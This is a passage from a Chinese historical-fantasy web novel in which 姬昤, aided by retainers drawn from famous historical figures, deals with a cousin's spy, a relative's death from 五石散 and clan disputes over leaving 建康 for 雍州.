“恭送主公。”妇好、秦良玉。
7. 警告
姬昤带着冼英、杨妙真和卫子夫回到了姬府,此时已是下午。
几人刚走进英兰苑就见月栀神色认真地迎了上来,快速行了个礼便说道:“娘子,在你们离去之后奴婢发现有一人一直跟着你们,便叫人把人抓了回来,现下关在了奴婢的屋子里。”
月栀作为姬昤从小一起长大的贴身婢女自然也是有自己单独的屋子的,不像其他下人是几人一起住一间屋子。
姬昤轻笑了声:“问出是谁派的了吗?”
月栀有些苦恼:“他不肯说!只说自己跟的不是娘子,都是误会。奴婢才不信呢!”
“没事,你守着英兰苑,接下来的事交给我吧。”姬昤摸了摸月栀的脸,说道。
“喏。”月栀应声,小跑到英兰苑门口站着,警惕的眼神扫过每一个路过的人。
姬昤四人走进月栀的屋子,就见里面一个被五花大绑的男人在地上蛄蛹着,看情况是想到门边来。
姬昤走到男人面前,俯视着男人。
男人缓缓抬起头看向姬昤,眼里闪过一丝慌乱,不过瞬间又开始“呜呜呜”起来,好像在说“他没有”。
姬昤可不信。
杨妙真上前抓住男人的后脖领把人拎了起来靠在墙边坐着,姬昤走了过去,蹲下,直视着男人的双眼。
“姬家谁派你跟我的?”姬昤语气平静。
男人慌乱了一瞬然后立刻摇头,一边“呜呜呜”。
姬昤了然。
她就知道是姬家的人干的,旁系的那几位叔伯都不是省油的灯,更别说他们还有一群也不是省油的儿女,就像早上出门时那姬莲,她五叔的女儿,与她同岁,小时候便喜欢和她抢东西,也不知是不是受了父母亦或者他人的挑拨,从小就和她不对付。
她一眼就认出来姬莲了,早上就是故意的。
“大房?”姬昤问,见男人神色不变。
“四房?”姬昤又问,男人的神情还是没什么变化,只是一味地摇头否认。
“五房。”姬昤说道,看着男人卡壳的一瞬就明白了。
“姬莲?”姬昤又问。
男人只是一个自以为没发生的停顿就告诉了姬昤答案。
“主公,这人交给我和冼英吧。”杨妙真提议。
“嗯。”姬昤应了声,“子夫,你和我出去吧。对了,你俩换个屋子动手,这是月栀的屋子,别弄脏了。”
“喏。”冼英和杨妙真二人应道。
姬昤带着卫子夫走出了房间。
卫子夫跟在姬昤身侧后,询问道:“主公有何打算?”
“先不急,我派人去打听她和陈郡谢氏的婚事了,我总觉得这里面有什么事,更何况谢渊还在府上,人还是我请来的。”姬昤缓缓道。
谢渊和谢家的关系早就跌至冰点,而谢家也早也没落,五房野心也不小,姬莲是五房嫡出的女儿,再怎么也不会和没落世家定亲,其中定有古怪。
卫子夫思考了一瞬,说道:“莫不是站队了哪个皇子?”
姬昤瞥了眼卫子夫,是啊,站队,否则以现在陈郡谢氏的地位,五房怎么会看得上?还舍得嫁他们的嫡女?
姬莲一手撑着脑袋望着窗外的桃花一边内心焦灼地等待着。
怎的派去的人还未回来?难不成被发现了?
这时,婢女快步走进屋内,在姬莲耳边说了什么,接着从袖中拿出一小块布,打开之后露出了里面血淋淋的眼珠子。
“啊!!!!”姬莲吓了一大跳,手一挥打飞了眼珠子,自己没稳住身体往后倒在了地上,连带着也推倒了婢女。
外面的仆从听见尖叫声和动静立刻跑了进来,瞧见地上滚落的眼珠子后响起了此起彼伏的尖叫声。
姬莲被婢女扶了起来,她壮着胆子走近了那颗眼珠子,越看越觉得害怕。
“谁送来的看见了吗?”姬莲颤着声音问着刚才的婢女。
婢女摇头,脸上还带着害怕:“不知道,方才一出院子就瞧见这布包着眼珠子放在地上,奴婢也不知道是什么,就想着先拿来给娘子瞧,谁曾想竟是……竟是眼珠子。”
“去问!是谁放在我院子的!”姬莲喝道。
布包裹着眼珠子放在桌上,姬莲和眼珠子对视着,越看越心慌。
过去了约摸一刻钟,去问的婢女回来了,只见她面色难看地摇了摇头。
姬莲脸色一变:“什么意思?偌大的姬府竟找不出一个看见是谁放的?!”
这时,一支箭“咻”地射了进来没入窗户,屋内的所有人都吓了一跳。
姬莲捂住心口定睛一看,上面还有纸。
婢女上前取下箭矢拿下纸,递给姬莲。
姬莲看完之后把纸狠狠揉成了一团砸了出去,只因上面写着——
再有下次,挖的就是你的眼睛。
“好你个姬昤,竟然威胁我?!”姬莲咬牙切齿地说道。
一些婢女听着姬莲的话不明所以,不知此事跟三娘子有何关系,但主子发怒,她们一声都不敢吭,全都战战兢兢地跪在地上。
姬莲刚起身想去找族中的长辈们做主,可一想到是自己先派人跟踪姬昤的,届时问起她也不好解释。
姬莲生着闷气又坐下了,越看那眼珠子越气,手一挥又给挥地上去了。
这眼珠子原是找的跟踪的那人的,还什么下次就挖她的眼睛?她姬莲好歹是姬家五房的嫡女,未来是要嫁到陈郡谢家做主母的!她姬昤岂敢!
一旁侯着的婢女见状安抚道:“娘子,再过一月您就要出嫁了,还是安心等着做主母吧,莫想些旁的不悦的事了。”
姬莲又想起姬昤及笄礼上说的话——“绥英?笼络天下英雄?”——真是好大的口气!这样的娘子哪家郎君敢娶?等日后她做了谢家主母,再生下长子,再加上谢家背后的人……可不见得她比姬昤这个姬家嫡出娘子低到哪里去了!
想到这儿,姬莲的嘴角忍不住流露出笑意。
英兰苑。
姬昤看着眼前已经死了的男人,她抬头又看向冼英和杨妙真。
“你们干的?”她问。
她的意思本是让两人好好招呼这男人让他亲口承认,怎么把人给弄死了?
冼英和杨妙真两人对视一眼,点头。
姬昤无奈扶额,移开了眼神:“埋了吧。”
“喏。”两人应声。
“那啥,”姬昤抓了抓额头,“他眼睛怎么还少一只?”
“英姐送给姬莲了,警告她。”杨妙真一脸认真地解释道。
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姬昤:“……行吧。”
“可有让人瞧见是你送过去的?这姬府人来人往,不能让人抓着把柄了,对主公不利。”卫子夫说道。
“主公放心,无人瞧见。”冼英多瞥了眼卫子夫,然后说道。
这新来的娘子心思倒是缜密,不错,主公心大,需要这样的人在身边时刻注意着。
“行,你们办事我放心,就是下次还有这样的事先问问我,别动不动就挖眼珠子,多暴力血腥啊?咱也不是那心狠手辣的人。”姬昤摸了摸鼻子。
“喏。”冼英、杨妙真二人应声。
“你们把尸体处理掉,我去瞧瞧霍光。”姬昤说着转身离去,带着卫子夫一起。
姬家有族学,霍光却不在里面,姬昤安排谢渊和霍光单独出来,并不和姬家其他人一起,他们都住在一个院子内。
姬昤和卫子夫踏入院内就听到霍光的朗朗读书声,虽然目前只有他一人上课,声音却不小。
姬昤很满意,他能认真学再好不过了,目前她身边全是武将,只有霍光一人是纯正的“文臣”,可得好好培养一番。
窗户半开,姬昤和卫子夫可以看见里面认真听讲的霍光脑袋时不时点点赞同谢渊的话,时而露出疑惑的神色,时而恍然大悟。谢渊坐在上方,手中只端着一盘糕点吃着,一边给霍光上课,没瞧见书,因为知识全在他的脑海中。
谢渊瞧见了二人,却只是瞥了眼,便再不理会,等吃完糕点,他放下盘子走到霍光身边,手背在身后,其中还拿着一根竹鞭。
霍光有些紧张。
“先生,我写完了。”霍光放下笔,抬头看向身边的谢渊。
“中规中矩,无甚过错。”谢渊语气平淡,又瞥了眼窗外的姬昤,那眼神仿佛在说——“这就是你说的天纵奇才?”
姬昤心虚地转过脑袋去。
她可什么都没说,只要不是亲耳听到,那就是她没说。
霍光有些失落,却暗自下定决心一定要让先生对他刮目相看。
中规中矩无甚过错那就是不好,他得更好才行,否则愧对主公信任。
“先生,我重写。”霍光说罢自顾自开始写起来,谢渊也没阻止,有上进的心自是好事。
霍光一门心思都在学习上,也没注意到姬昤和卫子夫站在窗外看了有好一会儿了。倒是谢渊,走了出来。
姬昤和卫子夫迎上前,卫子夫向谢渊点了下头,谢渊也回了同样的动作。
“三娘子这是不放心老夫了?”谢渊毫不客气地说道。
“先生多虑了,我就是来瞧瞧他学得怎么样。”姬昤笑了笑。
“某还有一事需劳烦三娘子。”谢渊又道。
“先生尽管说便是。”姬昤。
“一直伺候某的小厮如今还在那院子里住着,这姬府的仆从某不习惯,不如三娘子派人把人带来?”谢渊。
“自然。”姬昤一口答应。
“劳烦三娘子了。”谢渊说罢,又道,“有老夫在,这小子三娘子就不必担心了,日后少来这里,有什么事某会让小厮去找你。”说罢谢渊一甩袖回到了屋子内。
姬昤眨了眨眼,转身带着卫子夫就走。
行,大儒么,有点脾气很正常,她忍。
8. 四房出事
某日清晨,姬府内人来人往,大家神色匆匆,瞧着都有些紧张。
姬昤还未出院子就觉得不对劲,于是低声对身边的月栀说道:“去问问发生什么了。”
“喏。”月栀应声。
不一会儿,月栀回来了,在姬昤耳边低声道:“四房的八郎君要不行了,今早陛下又发怒惩治了四房的二郎君,说他私收贿赂,降了二郎君的职,四房现在闹开锅了。”
姬昤微微挑眉,那个吸食五石散的老八要死了?老二又被降了职。这四房还真是祸不单行。
“去瞧瞧。”姬昤微微一笑。
反正那俩都不是什么好东西,她去凑凑热闹。
还未进四房的院落姬昤就听到了一片低沉的哭声中掺着两道女人的声音。
“我的儿啊,你才弱冠,怎的就弃阿母而去了?你不要阿耶阿母了吗?还有阿若,她才两岁,你怎么舍得让静儿一人照顾她啊?”
“郎君,你怎的抛下我和女儿就去了啊?你让我们娘俩儿该如何是好啊?”
“哭哭哭,就知道哭!你若是管好他了他至于会跟老大家的三郎学吸那五石散吗?嗯?!”
“哪里是我的过错?你惯会怪我,从来瞧不见自己的过错,你怎的不知反省自己?”
“你!哼,不可理喻!”
……
姬昤和月栀对视了眼,月栀低声问道:“娘子,还要去吗?”
现下人家吵得厉害,娘子去了恐怕要卷进去,不得安宁。
姬昤思索了一番:“罢了,在这听听也差不多了,就不进去了吧。”
姬昤和月栀刚转身就瞧见姬父姬母来了,两人还有些惊讶。
“昤昤你怎么在这里?”姬父问。
姬昤脑筋一转,顿时面露哀色:“听闻八堂兄病逝,二堂兄又遭贬谪,我想四叔四叔母定伤心不已,便想着来看看,刚到门边就听他们哭着,想想罢了,还是不去了,徒增他们的伤心罢了。”
姬昤一顿巧言完美掩盖了自己想凑热闹的心,她自己都要信了。
姬父叹了口气,唉,四弟就这么两个儿子,一个死了,一个又遭了陛下的打压,此时定伤心不已。四弟这一脉也不知怎么回事,儿女众多共有六人,如今却已经死了三人,真是世事难料。
“昤昤,去看看吧,你于你四叔四叔母是晚辈,和你八堂兄亦是同辈,理应去看看。”姬父说着向姬昤招了招手,示意她跟在他们身后。
姬母也拉过姬昤的胳膊,把人带在了身后。
三人和仆从三人一起进了四房的院里。
“家主,主母,三娘子。”来往仆从皆如此喊道。
姬父摆摆手,示意他们不必伺候,却多看了两眼湿漉漉的地面,他们似乎闻到了腥气。
一行人走至八郎君的房外,房门敞开着。
“四弟,四弟妹。”姬父出声。
姬四爷闻言敛了怒色,恢复了平静,看向三哥:“兄嫂怎的也来了?姬家事务繁忙,派人来递口信就是了,不必亲自前来。”
“阿兄阿嫂,郎君说的是,你们素来忙碌,不必亲自来的。”姬四夫人红肿着眼眶,嗓音沙哑。
已逝的八郎君安静地躺在床上,他的夫人向家主主母二人见了礼,便又轻声抽泣起来。
年纪轻轻守了寡,自是伤心欲绝。
姬昤在场作为晚辈也给姬四爷和四叔母行了礼,和八堂嫂互相点了下头,接着便安静站在阿耶阿母身后。
“四弟,四弟妹,你们这是说的什么话?阿湛突然病逝,我们做伯父伯母的怎能不来?姬家事务再繁忙我们又怎会连这点时间都挤不出来?”姬父有些生气地说道。
“大夫不是说阿湛的身体只要好好调养,这辈子不说再康健,活着不是问题吗?怎的突然就……”姬母神色不解。
提到这个,姬四夫人嚎啕大哭起来,瘫软地趴在床边上握着已逝八郎的手:“我的儿,我的儿啊!”其余什么话再说不出了。
姬四爷倒有些愤怒:“都是那该死的婢子,竟拿了五石散给阿湛,阿湛这才……这才……唉!”重重一声叹气,伴随着哭声愈发沉重。
姬昤心想,怪不得刚才在外面闻到了血腥味儿,没有下雨却有一大片湿漉漉的,估摸是打死了那婢子,又差人清洗了地面。
“这……唉……四弟,四弟妹,节哀,逝者已逝,莫伤了自己的身啊,也去看看二郎吧。”姬父也有些无奈。
这害人的五石散他再三明令禁止不许吸食,可总有那么几个不听劝的,大房的三郎就是那个带头的,四房的八郎也被带着一起吸食了这腌臜玩意儿,如今也去了,这还只是明面上的,私底下还不知道有多少人吸了这个,唉。
至于二郎,私收贿赂不知真假,但陛下的降罪可知真意。
陛下要动姬家了。
“二郎?哼!”姬四爷冷哼一声,“那个逆子连小心谨慎都做不到,让陛下抓住了把柄,近来陛下对姬家又是多有防备,还看他作甚?就该好好自省!”
姬父想了想还是没开口,最终只是说:“若有何事尽管找我,我们便先走了。”
姬四爷点了点头,姬昤也点了下头,意思是她也走了。
待几人离开,姬四爷又瞥了眼他们离开的方向,面色不善。
“我这好阿兄倒是生了两个省心的好儿子,怎的我儿没一个省心的?!”说罢,姬四爷不禁又瞪了眼自己夫人,就连床上已逝的老八他也不想再多瞧一眼,只觉得晦气。
姬四夫人不敢多言,只是拉着儿子的手哭得更大声了。
姬四爷听着这哭声愈发不耐:“哭哭哭,就知道哭!过两天我抬个婢子,我知会你一声,省的届时你说不认识。”
姬四夫人哭声戛然而止,她不可思议地看向夫君,眼里带着错愕:“阿湛刚死,你就要抬婢子?你还有没有心?!”
八郎夫人也是不可置信,她怎的也没料想到夫君刚死丈人就要抬婢子起来,丈人莫不是疯了?!
只听姬四爷哼了几声:“她已有身孕,大夫说了是男胎,眼下我就两
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个儿子,一个比一个没用,你既生不出来,那就让旁人来生!”
姬四夫人如被雷劈了一般,刚止住的眼泪瞬间哗啦啦地流了出来,一把松开了儿子的手,起身抓住夫君的胳膊使劲晃着,像是疯了一般。
“我替你生了两儿一女,如今除了二郎全死了,那些个庶孽我也不曾苛待过,她们给你生了孩子便生了,可你现在说什么?阿湛刚死!哪有你这般做阿耶的?!”
姬四爷满脸不耐,一把推开了夫人,八郎夫人赶紧扶住了差点儿摔倒的丈母——亦是她的姑母。
“两儿一女又如何?两个儿子哪个有用?一个唯唯诺诺木讷不堪,连受贿都能让陛下抓住把柄!一个还吸五石散死了!大夫早几年便说你没法儿生了,怎的,你个毒妇是想让我断子绝孙吗?!”姬四爷怒目圆睁,仿佛要吃了自己夫人似的。
“你!你!”姬四夫人两眼一翻直愣愣地倒了下去,还是儿媳跪坐在地上抱住了她。
“丈人,您别说了,丈母这么多年也是辛苦,就算无功那也绝对无过,您何必咄咄逼人呢?”八郎夫人哽咽道。
“这哪有你说话的份?!”姬四爷恶狠狠地瞪了眼儿媳,接着甩袖离去,连带着弄倒了椅子发出叮铃哐啷的响声。
徒留屋内的儿媳抱着丈母哭得不行,一众婢子们更是不敢多言。
屋外的角落里,一个男子半掩着身子,看着姬四爷离去的背影,他抓着柱子的手暴起青筋,片刻又松开了,他满脸落寞,双眼湿润,泪水在眼珠里打转。
此人正是大家口中的二郎。
方才里面的一切他都听到了,原来阿耶一直这么想他,觉得他无用……
大房。
一妇人抱着一孩子坐在池子边数着里面游动的鱼儿,孩子脆生生的笑声充满了欢乐。
一婢子神色严肃走上前,在妇人耳边说了什么。
妇人脸色微变,放下了怀中的孩子:“去找你长嫂玩吧,阿母有些事。”
孩子乖乖地应了声跑开了。
等孩子离开,妇人这才说道:“方才没的?”
婢子点头应“是”。
妇人皱眉,不悦道:“老三那个不争气的,自己因五石散死了,现在连带着四房的老八也没了,果然是庶孽,上不得台面。四弟妹怎么说?不会还要来我们大房找麻烦吧?”
“听闻四爷发了好大的火,四夫人直接晕了过去,具体都说了什么奴婢也打听不出来了。”婢子回答。
“发火?他怎的还发火?两儿子一个被贬一个没了,他不应该伤心吗?这个四弟,几十年了还是这个样子,自我嫁进姬家就没变过。”妇人也就是大房的姬大爷的夫人,嗤笑了声,将手中剩下的鱼食全都撒进了池子里,看着那些鱼儿争先恐后地抢夺着食物。
“夫人,家主和主母带着三娘子去看望过了,我们可要去瞧瞧?”婢子问。
姬大夫人搓了搓手上的鱼食残渣,起身拍了拍手:“走吧,四弟妹此时定伤心不已,我作为长嫂,可得好好安抚一下。”
9. 姬家大爷
天本就寒冷,这下又落了雨,更是冷得刺骨。
姬家八郎死于五石散不是什么光彩的事,亦没有大办,一切从简,外人也只是瞧见姬府门口多了两抹白色,大门又紧闭,大家也不知道是谁没了,愣是一点儿打听不出来。
姬府内。
四房布满了白色绸缎,纸钱烧出的灰色粉末也随风飞舞,落在了前来的姬昤鼻尖上,她身后跟着月栀和卫子夫,皆着素色衣衫。
姬瑾和姬瑜在外任职,一时间无法赶回来,便差人送了东西回来。
姬父姬母作为家主主母更是早就到场。
姬四夫人和儿媳两人带着才两岁的女儿在棺材边放声大哭。
孩子不知道发生了什么,只知道大家都在哭,而阿耶却怎么也叫不醒,于是她也哭。
姬四爷拉着个脸站在一旁,冷眼看着哭泣的夫人、儿媳和孙女,他又移开眼神看向棺材中的儿子,虽气恼,可到底是亲儿,还是有些难过。
“四叔,四叔母,节哀。”姬昤作为晚辈,走上前向二人低了下头,接着接过旁人递来的点燃的香,她对着八郎的棺材拜了三拜,然后把香插好,最后跪下磕了三个头,起身又是三拜,身后月栀和卫子夫二人亦是同样的动作,只是没有烧香。三人拜完后这才退至一边,到了姬父姬母身边待着。
姬四爷多瞥了两眼姬昤身后的卫子夫,月栀他知道,从小一起长大的婢子,这人又是谁?怎的从未见过?长得倒是不错。
不过尚在儿子灵堂,姬四爷并没有看太久,只是片刻就收回了目光。
陆陆续续来了人跪拜八郎,逝者已逝,他就是再不好、这丧仪再简单,这跪拜还是不能省了,毕竟死者为大。
几房的人几乎都来了,前几日收到血淋淋眼珠子的姬莲也来了。
姬莲跪拜完后就到了另一边自己阿母身边,她止不住多看了两眼姬昤,瞧着她一脸人畜无害的模样只觉得可怕。
她们二人同岁,可姬昤却能脸不红心不跳地做出挖人眼睛的事情,换做她是万万做不出来的。
姬昤发觉有人一直盯着自己看,寻找了一下才知是姬莲,她对着姬莲笑了笑,却见姬莲没好气地撇过头去不看她,瞧着似乎还打了个哆嗦。
灵堂中最后只剩下姬四夫人和八郎夫人,其余人都到了外面去,三三两两的汇做一团。
“昤昤啊,听闻你把谢渊请到了府上?你这是要做什么啊?”一身形修长、面容白净的男人走到姬昤身边,一副长辈姿态。
此人正是姬家五爷,姬莲的阿耶,姬昤的五叔。
“这就不劳五叔挂心了,我自有我的用处。”姬昤微笑回答。
姬五爷面色不变,只是一味地说着谢渊的不好:“这谢渊可是谢家的罪人,昤昤你可知晓?对了,那时你还小,自是不知。这谢渊当年杀了自家至亲十七人,为世人所不齿,如今你又把人请到了姬家,岂不是告诉世人姬家要与这不忠不孝不义的人为伍?五叔也只是为了我们姬家好,为了昤昤你好呀。”
更何况他女儿还和谢家定了亲,这要不了多久就要嫁过去了,这要是让谢家知道谢渊在他们姬家,还是主动请来的,岂不是闹得他女儿女婿离心?更严重些,如果影响了那位……这可不行。
“五叔,您的一番好意昤昤清楚,只是谢渊此人虽颇多争议,可他学识渊博、见多识广,这点毋庸置疑。况且那件事过去多年,其中到底因为何我等外人终究是无法知晓,五叔就不必忧虑过多了,昤昤自是不会做出伤害姬家的事来,五叔放心。”姬昤笑容不变,语气更是平静。
关于谢渊当年为何杀尽至亲十七人她也旁敲侧击地询问过了,结果就是什么也问不出来,不过她仔细观察过谢渊的神色了,每每提及此事他的眼里就会流露出一股……厌恶?她不确定自己看清楚了没,但也越发加深她的怀疑,当年之事肯定有隐情,而谢渊也不像世人所说那样——不忠不义不孝。
姬五爷笑了几声,眼珠流转之间看向姬昤身后的卫子夫,询问道:“这是……新来的婢子?”
“五叔说笑了,这是昤昤的朋友,来府上做客的,不曾想碰到八兄去世,就一起来了。”姬昤解释道。
“奥,原是如此,我料想姬府也没有如此貌美的婢子,否则四兄早该纳入房中了。”姬五爷调笑道,瞥了眼刚好走来的姬四爷。
姬四爷脸色一变,没好气地说道:“五弟慎言!”说罢却瞥了眼卫子夫。
确实貌美,此言不假,他也确实动了点心思,可心思被人戳破就没意思了。
姬五爷笑了笑就走开了。
“四叔节哀。”姬昤又面向姬四爷说了句。
姬四爷昂了下头,然后说道:“你五叔他向来口无遮拦,你莫听他的。”说罢又不受控制地瞥了眼卫子夫。
嗯,确实貌美,虽不拔尖,却是温和柔美,不禁让人想多看两眼。
姬昤上前一步挡住了卫子夫,她伸出手抓住了姬四爷的手腕,认真道:“四叔放心,四叔岂是那种浪荡好色之徒?旁人不知晓,我这个亲侄女还不知晓吗?我定不会听五叔的玩笑之言的。”
姬四爷不知怎的,听着这话反倒高兴不起来,一把把手缩了回来,嘴里说着“我去那边瞧瞧”就走开了。
走到一旁的姬五爷可一直关注着这边,闻言差点笑出声。
好侄女,真会说话。
姬昤又小心地张望了一番,四叔五叔她都见到了也聊了,怎的大伯还未出现?
在她的记忆中,大伯是一个不苟言笑的人,又沉默寡言,孩子见了他都怕。小时候,她记得那年她好像才四岁,亦或者五岁,她记不清了,那一次她不小心跑到了大房的院子里,是因为风筝掉了进去,接着她抬头就看见一个男人冷着脸俯视着她,也不说话,盯着她看了好一会儿才离开,后来她才知道那是她大伯,常年在外打仗,甚少回家,那一次是回来是因为他长子成婚。
姬家五子,老大从军,老二已死,老三是家主,老四从政,老五从商,也算是在各个领域开花了。
说曹操曹操就到,姬家大爷来了,一身戎装风尘仆仆,还是那张不苟言笑的脸。
“大伯。”在姬大爷路过姬昤时她喊了声,姬大爷应了声就走开了,带着一阵风,只是多瞥
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了眼卫子夫。
生人,他在姬府从未见过此人。
而卫子夫一路上接收了许许多多的目光,有探究,有疑惑,有好奇……
她没有理会,只是默默记下大家的反应,待在主公身边观察着这些人。
姬大爷径直走到姬四爷身边,冷声问道:“一回到建康府中就有人来报老八死了,怎么回事?”
姬四爷冷哼一声,不耐道:“也不知道是谁儿子带的吸食五石散,这下好了,自己儿子死了,连带着我儿子也死了。”
姬大爷听明白了,五石散,又是五石散!
姬大爷走进灵堂至棺材边看着里面的八郎——
近八尺的男儿清瘦十分,脸蛋更是白得吓人。
“阿湛,阿湛,我的儿啊……”姬四夫人瘫坐在地上,靠在棺材边上哭着念叨着。
“夫君……夫君……”八郎夫人也哭着喊着。
姬大爷烧了三根香插进炉子中,接着走到家主身边,低声道:“建康的乞儿似乎又多了些,还来了些流民。”
姬父也低声道:“近来陛下对姬家多有忌惮,二郎也被贬职,怕是要变天了。”
“北边的匈奴和鲜卑也不老实,西南部的吐谷浑也常常骚扰边关百姓,怕是又要打仗了。”姬大爷说道。
“才安稳多久?又要乱了。唉……”姬父叹气。
“前些日子陛下派了两个小将到我营中,怕是要架空我的权力,阿瑾和阿瑜你平日也多注意些,让他们小心行事,莫被陛下抓了把柄。”姬大爷又道。
“他们都在江州庐陵郡做县令,按陛下的意思,恐怕不久就要把他们调任西北了。”姬父也很惆怅。
“昤昤身边的那人是谁?月栀我记得,可那人我从未见过。”姬大爷问。
“奥,她啊,是昤昤的朋友,在府中借住一段时日。”姬父解释道。
“朋友?哪家的?可都调查清楚来路了?”姬大爷又问。
“这……”姬父突然卡壳,这要让他说个清楚他还真说不明白。
他其实也一直有疑问,昤昤都是在哪儿认识的这些朋友,男男女女还都不是等闲之辈,瞧着似乎还不像是朋友,一个个对昤昤都颇为尊重。
“不清楚?”姬大爷反问,“那怎能住在府上?三弟,你这家主怎的越做越回去了?什么不清不楚的人都能留在姬府了?”
姬父被大哥的一番话说得一愣一愣的,好在这么多年家主不是白当的,只是一瞬又恢复了平日的沉稳,他道:“昤昤自小乖巧,从不与那些不三不四的人交往,而这些所谓的朋友我也聊过,虽不至于看清本性如何,也能聊出一二他们的性子,都不是坏的。更何况,偌大的姬府也不会容不下这一二人,我都派人看着呢,大哥放心。”
“你心里有数就好,我常年不在府中,很多事管不到。尤其是近两年,陛下对姬家的态度很模糊,尽量保全姬家吧。”姬大爷。
“大哥说的是。”姬父应和。
这时,一个小厮急匆匆地跑进了院子,一番寻找之后盯住了姬父,直奔他而去。
“家主不好了!”
10. 雍州就不错
小厮急匆匆地进来告诉了大家又一个不好的消息——
姬瑾和姬瑜被调任西北部雍州和凉州去做县令了,一个在冯翊郡粟邑县,一个在安定郡泾川县,都是最靠近匈奴的地方。陛下的意思是,觉得二人治下有方,特派到两地去“磨炼磨炼”,其实跟流放也没什么区别了。若换作从前,那两地战略意义十分重要,可是现在不一样,景朝、安朝接连两朝都不中用,当权者目光短浅不重视边境地带,以至于那边匈奴肆掠,根本没人愿意去,人人都以为去了等于送死。
其实也不止雍州和凉州,如今安朝处处都不安全,也就建康附近的几个州还算安稳。
“陛下这是明摆着要和我姬家作对了?!”姬四爷火爆脾气一点儿也忍不了,当即就发火了,怒喝道。
前脚降了他儿子的职位,后脚又把三兄的两个儿子调任西北苦寒之地,明眼人都能看出来不对了!
姬大爷眉头紧锁并没有说话,大家却能从他的眉眼中瞧出不悦。
姬五爷也没说话,神色瞧着淡淡的,也不知道在想什么。
“四弟冷静,这种时候万不可冲动。”姬父皱着眉开口道,“这件事我早有预料,只是不曾想这一天竟来得这么快。陛下这是要把针对姬家的事摆在明面上了?”
姬昤见状,觉得自己表现的机会来了,她走了过去,说道:“阿耶,这不正是一个机会吗?趁姬家还未被清算,我们趁早搬离建康。”
在这发展她得避着这个避着那个,很累啊,不利于她发家。更何况天子脚下,她如何悄咪咪地发展出一万兵马还不被发现?
“你说什么?”姬四爷以为自己听错了,看向姬昤的眼神都不好了,“昤昤,你再说一遍,四叔好像听错了什么。”
“不行!为何要离开建康?在这待的好好的,我们姬家又是建康大族,在这说一不二的,凭何要离开?难不成陛下一个心思我们就要躲开了?姬家又不怕皇家!”姬五爷十分不赞同,更何况他女儿马上就要出嫁了,他都想好了之后的路了,怎能离开?
姬大爷比较冷静,常年浸在沙场有一双锐利的眸子,直勾勾地盯着姬昤:“昤昤为何这么说?说说你的想法。”
其余人等,主要是姬昤几位叔伯的儿女们,个个跟看笑话似的看着姬昤,尤其是刚被吓过不久的姬莲,更是连嘴角的笑意都没掩藏住。
姬昤扫视了圈,平静道:“安朝看似安稳,实则内虚,不出两年定天下大乱,届时建康就会成为权斗的漩涡,并不安全,不如趁早搬离。我看雍州就不错。”长安就在那儿,日后新朝定都就可以定在长安了。
姬四爷冷笑一声,说道:“三兄真是生了个好女儿,还能看出天下乱不乱了,我怎么瞧着如今安朝越发安稳了?还有,你一个女儿家,怎能决定整个家族的命运?能让你说出来也是看在你是家主之女的份上,否则这里哪有你说话的份?!”
姬大爷皱眉,虽不语,瞧着却是赞同姬四爷的话的。姬五爷亦是不语,他神色晦暗,退到了一边,不知在想什么。
姬父目光不悦地射向姬四爷:“四弟好好说话,我还在这站着呢。”
他虽然对于昤昤的想法有些难以置信,虽然也是觉得女儿家不必管这些,但昤昤是他的女儿,是被他宠着长大的,何时听过这样的话?
“三兄,你在这儿我也要说!姬昤到底是女儿家,你还是得好好教导,不该说的话别说,省的传出去让外人以为咱们姬家如今是女子当家了,惹人笑话!”姬四爷说完冷笑了几声,还看了看四周,不少人跟着笑出了声。
姬昤冷静地扫视了一圈,记下笑的人的模样,大多是四房五房的人,大房的人跟大伯一样性子都比较淡,对此也只是多瞧了她和四叔几眼,笑的人还真没有。
姬父眼里闪过一瞬间的心虚,因为昤昤是真跟他说过要当家的。
姬父假咳了几声,说道:“我是姬家家主,昤昤是我的女儿,自小便乖巧懂事,如今也只是为了姬家好,四弟你却恶意揣测她的意思,你又是何用意?况且昤昤的话也不无道理,如今安朝不稳,北边匈奴、鲜卑、羌胡肆意侵略,就连建康都遍地是乞儿、流民,若乱世真的到来,我姬家身处乱世中心可能保全?四弟,你说说看,如何保全?”
姬父越说到后面语气越是自信,他发现自己说得越来越对,对女儿的话也更加相信。
昤昤虽是女儿,却是个有眼光的,或许让她来当家主会是个正确的选择,她也会比阿瑾和阿瑜要做得更好。
姬四爷吞吞吐吐半天才说道:“姬家用得着怕吗?几百年都过来了,不过小小乱世,避上几年等新朝出现,我们姬家又是望族!”
姬四爷此话一出,院子里不少人还附和点头赞同他的话。
姬五爷也道:“四兄说得有理啊,我们姬家确实用不着怕。”反正他背靠大树好乘凉,万一届时姬家真出事了,他五房这一脉也能保全,不至于大家一起死。
“大兄你呢?你如何想的?”姬父看向姬大爷。
姬大爷看向姬昤的目光耐人寻味,他问:“为何是雍州?”
姬昤回答:“雍州地处中原核心,地理位置优越。虽说边上就是匈奴和鲜卑、羌胡,危险重重,但同时也是我们的机会。”况且她还有霍去病。
“机会?什么机会?等那些蛮夷把我们姬家杀光吗?昤昤啊昤昤,四叔一直觉得你乖巧懂事,想着你及笄后也是大孩子了,马上也要嫁人为人妻、人母,怎的越发不懂事了?”姬四爷说完还重重叹了口气,仿佛姬昤说了什么大逆不道的话一般。
姬大爷本想说话,不更新被姬四爷插了几嘴,等姬四爷说完他才问道:“什么机会?”
姬昤淡淡一笑:“陛下如今不是忌惮我们姬家想要对付我们吗?那我们主动退到雍州这个没人愿意去的地方,明面上我们还能替安朝抵御北方蛮夷,那么陛下哪怕是看在这个份上也不会对我们轻举妄动,除非他想要皇位不稳。”那就正好便宜她了。
姬四爷冷笑一声,像是听到了什么笑话一般,摇了摇头走到了一边不再言语。
姬五爷眼珠子转了转,心里细细算计着,想着下一步该如何做,也是走到了一边,旁人瞧着他是在思索,却不知想着什么。
姬大爷沉默了一瞬,然后道:“军中事物繁忙,我还有事,便先走了。”待他走到门口时又回头看了眼姬昤,再看向弟弟。
“三弟有个好女儿啊。”说罢转身离去。
姬莲笑眯眯地走到了姬昤身边,小声道:“昤妹妹这是跟谁学的这些?咱们女儿家嫁个好郎君才是正经事,你怎的还操心族里的事了?瞧,有谁听你的?”
姬昤笑了一下,在姬莲耳边道:“若让族里知晓莲姐姐还和匪徒有联系,莲姐姐还能好好站在这与我说话吗?”
她派人查过了,之前姬莲派来跟踪她反被杀挖了眼珠子送去吓姬莲的人正是匪徒出身,干了不少腌臜事,也算是死有余辜。
姬莲脸色一变,下意识环顾了一圈,就怕大家都盯着她们这边发现她的不对劲。
果不其然,好些个都盯着她们看。
